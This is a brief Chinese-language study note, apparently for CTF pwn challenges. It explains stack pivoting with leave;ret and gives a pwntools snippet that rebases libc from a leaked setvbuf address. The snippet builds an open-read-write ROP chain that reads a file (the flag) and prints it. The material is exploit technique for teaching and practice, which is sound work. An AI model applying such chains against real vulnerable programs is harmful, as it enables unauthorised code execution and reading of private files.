flag
read 的参数 rd: 0, wr: 1, rdwr:2
栈迁移
栈迁移的思路大概是:
如果需要读取内容到地址 addr。给 rbp 赋值 addr - 8。往 rbp 读入 rop_chain,最后 leave ret。
leave ret = 
mov rsp, rbp
pop rbp
pop rip
pwntools 的 ROP 类
libc =  ELF(libc_path)
libc.address = addr - libc.symbols["setvbuf"] 
rop = ROP(libc)
rop.read(0, 0x404200, 4)
rop.open(0x404200, 0)
rop.read(3, 0x404208, 60)
rop.write(1, 0x404208, 60)
payload  = rop.chain()